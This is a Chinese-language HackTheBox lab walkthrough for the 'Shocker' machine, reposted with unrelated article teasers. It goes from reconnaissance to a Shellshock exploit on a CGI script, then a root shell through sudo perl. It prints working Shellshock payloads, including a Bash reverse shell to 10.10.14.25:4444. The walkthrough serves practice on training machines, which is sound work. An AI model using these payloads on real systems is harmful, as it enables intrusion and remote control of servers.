HackTheBox-Machines--Shocker

news2024/11/20 7:28:54
Popcorn 测试过程

1 信息收集

NMAP

  开启了两个端口,端口 80(http)、 2222(ssh)。

在这里插入图片描述

80 端口

  访问80端口,页面只有一张图片,无可利用点,尝试进行目录扫描。

在这里插入图片描述

目录扫描

  目录扫描发现 /cgi-bin

在这里插入图片描述

在这里插入图片描述

  /cgi-bin目录下一般会存在脚本文件,所以继续进行目录扫描,发现 /cgi-bin/user.sh

在这里插入图片描述

  但是访问 http://10.129.142.27/cgi-bin/user.sh 输出很奇怪,输出内容显示为执行 uptime 命令 的结果

在这里插入图片描述

在这里插入图片描述

  抓包分析该请求,有三处值得注意的地方:

		 - Content-Type:text/x-sh
		 - Content-Type:text/plain
		 - uptime 命令的执行输出

在这里插入图片描述

  通过浏览器访问 /cgi-bin/user.sh,输出结果为update命令的执行结果,并且脚本还是在/cgi-bin目录下,极有可能user.sh是一个CGI脚本。

  CGI脚本是驻留在Web服务器上的脚本,而且可以被客户端(浏览器)运行。客户端通过脚本的URL来访问脚本,就像访问普通页面一样。服务器识别出请求的URL是一个脚本,于是就运行该脚本。

  既然是CGI脚本,那就可以测试是否存在Shellshock漏洞了

2 Shellshock 攻击

  GNU Bash 4.3 及以上版本会处理环境变量值中函数定义后的尾随字符串,这允许远程攻击者通过精心设计的环境执行任意代码,具体示例包括 OpenSSH sshd 中的 ForceCommand 功能、Apache HTTP Server 中的 mod_cgi 和 mod_cgid 模块、未指定的 DHCP 客户端执行的脚本,以及其他跨越 Bash 执行权限边界设置环境的情况,又称“ShellShock”。
  由于这些环境变量在执行之前没有得到适当的清理,攻击者可以通过 HTTP 请求向服务器发送命令,并通过 Web 服务器的操作系统执行这些命令。
  当攻击者修改原始 HTTP 请求以包含字符串 () { :; }; 时,就会发生 Shellshock。Bash 对处理以此模式开头的变量有特殊规则,并将其解释为需要执行的命令。

2.1 手工验证

# paylaod
() { :;}; echo; /usr/bin/id

在这里插入图片描述

在这里插入图片描述

() { :;}; /bin/bash -i >& /dev/tcp/10.10.14.25/4444 0>&1

在这里插入图片描述

在这里插入图片描述

2.2 使用 Metasploit 测试 Shellshock/Bashdoor

Shellshock 漏洞检测

在这里插入图片描述

在这里插入图片描述

Shellshock 漏洞攻击

在这里插入图片描述

在这里插入图片描述


3 权限提升

升级PTY

在这里插入图片描述

权限获取

sudo -l

在这里插入图片描述

sudo perl -e 'exec "/bin/sh";'

  perl有一个-e 选项允许从命令行运行 Perl。exec命令可以运行 shell 命令。

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1720401.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

网络原理-四

一、续 当窗口大小为0,意味着缓冲区满了,此时发送方,就因该暂停发送,发送方会周期性的除法 " 窗口探测包 " ,并不携带载荷,这样的包对于业务不产生影响,只是为了触发ACK,一旦查询出来的结果是非0,缓冲区右有空间了,发送方就可以继续发送. 二、拥塞控制 要限制发送方…

GPT-4o:新一代人工智能技术的全方位解析引言

目录 🐋引言 🐋梳理 GPT 各版本之间的内容 🦈GPT-1:开创性的起点 🦈 GPT-2:参数规模的大幅提升 🦈 GPT-3:参数爆炸与多任务学习 🦈GPT-4:进一步提升的智…

Qt 5桌面APP开发实战

新书上架~👇全国包邮奥~ python实用小工具开发教程http://pythontoolsteach.com/3 欢迎关注我👆,收藏下次不迷路┗|`O′|┛ 嗷~~ 目录 第一节:Qt 5桌面APP开发实战入门 Qt 5的跨平台特性 Qt 5的界面设计工具 Qt 5的…

Leecode---栈---每日温度 / 最小栈及栈和队列的相互实现

栈:先入后出;队列:先入先出 一、每日温度 Leecode—739题目: 给定一个整数数组 temperatures ,表示每天的温度,返回一个数组 answer ,其中 answer[i] 是指对于第 i 天,下一个更高温…

Android下HWC以及drm_hwcomposer普法(下)

Android下HWC以及drm_hwcomposer普法(下) 引言 不容易啊,写到这里。经过前面的普法(上),我相信童鞋们对HWC和drm_hwcomposer已经有了一定的认知了。谷歌出品,必须精品。我们前面的篇章见分析到啥来了,对了分析到了HwcDisplay::in…

git报错prohibited by Gerrit: not permitted: update

git push报错: Push to refs/for/[branch] to create a review, or get Push rights to update the branch. Contact an administrator to fix the permissions (prohibited by Gerrit: not permitted: update)原因: 使用Gerrit代码审核时,本…

c++车票管理系统

这里写自定义目录标题 c车票管理系统vx:sredxc车票管理系统初始页面,需要源码vx:sredxc新增车票信息查询车票信息代码包含完整的发布车票信息,购票,退票,票数检测,余票检测,车票查询等功能 c车票管理系统vx:sredxc 这段代码实现了一个简单的高铁票务管理系统,具有以…

算法每日一题(python,2024.05.24) day.6

题目来源(力扣. - 力扣(LeetCode),简单) 解题思路: 排序+双指针 先将两个数组进行排序,cursor1和cursor分别指向两个数组的首位,比较两个指针所指的值的大小&#xff0…

斑消宝六周年大动作,斑小将将再迎高光时刻

如今,周年庆典已经成为众多品牌展示自身实力与影响力的重要舞台。这不仅仅是一个简单的庆祝活动,更是一次向外界展示品牌发展历程、未来规划以及团结合作伙伴的绝佳机会。在这样的背景下,广州斑消宝化妆品有限公司将打造别具一格的盛典&#…

TiDB-从0到1-分布式存储

TiDB从0到1系列 TiDB-从0到1-体系结构TiDB-从0到1-分布式存储TiDB-从0到1-分布式事务TiDB-从0到1-MVCC 一、TiDB-DML语句执行流程(增删改) DML流程概要 1、协议验证 用户连接到TiDB Server后首先工作的是Protocol Layer模块,该模块会对用…

【Node】Assertion testing 模块的使用

简言 node:assert 模块提供了一组用于验证不变式的断言函数。 node版本:20.14.0 Assertion testing 测试断言模块 node:assert 模块是一个测试相关的模块。 严格模式和非严格模式 感觉该模块的严格模式和js的严格模式相匹配,非严格模式也是这样的。…

Visual Studio的桌面快捷方式图标不显示

1.问题描述 以下以Visual Studio 2019举例, 正常图标: 但是当前Visual Studio的桌面快捷方式图标不显示了? 2.问题原因分析 Visual Studio 2019桌面快捷方式图标不显示可能由以下几个原因造成: 图标缓存问题:Windo…

实用软件分享---超级轻量级的强力卸载软件工具UninstallView_1.51

专栏介绍:本专栏主要分享一些实用的软件(Po Jie版); 声明1:软件不保证时效性;只能保证在写本文时,该软件是可用的;不保证后续时间该软件能一直正常运行;不保证没有bug;如果软件不可用了,我知道后会第一时间在题目上注明(已失效)。介意者请勿订阅。 声明2:本专栏的…

大话设计模式学习笔记

目录 工厂模式策略模式备忘录模式(快照模式)代理模式单例模式迭代器模式访问者模式观察者模式解释器模式命令模式模板方法模式桥接模式适配器模式外观模式享元模式原型模式责任链模式中介者模式装饰模式状态模式 工厂模式 策略模式 核心:封装…

基于springboot实现大学生就业需求分析系统项目【项目源码+论文说明】计算机毕业设计

摘要 信息数据从传统到当代,是一直在变革当中,突如其来的互联网让传统的信息管理看到了革命性的曙光,因为传统信息管理从时效性,还是安全性,还是可操作性等各个方面来讲,遇到了互联网时代才发现能补上自古以…

用容器构建wordpress项目

用容器构建wordpress项目 #准备两个镜像 #数据库和centos docker pull mysql:5.7 docker pull centos:7 #创建一个wordpress文件夹,在wordpress文件里面写一个Dockerfile文件 vim DockerfileFROM centos:7 #基于centos环境RUN yum -y install epel-release ;\ #安装…

【个人质量提高指南】红酒篇|品酒新手必读:一文学会如何品酒解锁干、半干、半甜、甜型葡萄酒的味觉密码!

文章目录 一.葡萄酒常识1.葡萄酒分类2.葡萄酒年份颜色【随年份的增加,颜色从左向右】3.葡萄酒五大要素4.葡萄品种分类5. 葡萄酒产区6.葡萄酒酒杯分类7.葡萄酒瓶型分类8.葡萄酒专业词汇新形容 二.拓展篇1.葡萄酒里的甜味是怎么来的?2.干型、半干、半甜和甜…

String类型的二维数组怎么写

今天做题遇到一个问题&#xff1a;就是需要写String类型的二维数组时&#xff0c;我蒙圈了。后来查了资料发现&#xff0c;String类型的二维数组其实是由若干个一维数组构成的。 1.先初始化一个二维数组&#xff1a;List<List<String>> list new ArrayList<&g…

【mysql数据库】mycat中间件

MyCat 简介 Mycat 是数据库 中间件 。 1、 数据库中间件 中间件 是一类连接软件组件和应用的计算机软件&#xff0c; 以便于软件各部件之间的沟通 。 例子 Tomcat web 中间件 。 数据库 中间件 连接 java 应用程序和数据库 2、 为什么要用 Mycat ① Java 与数据库紧耦合 …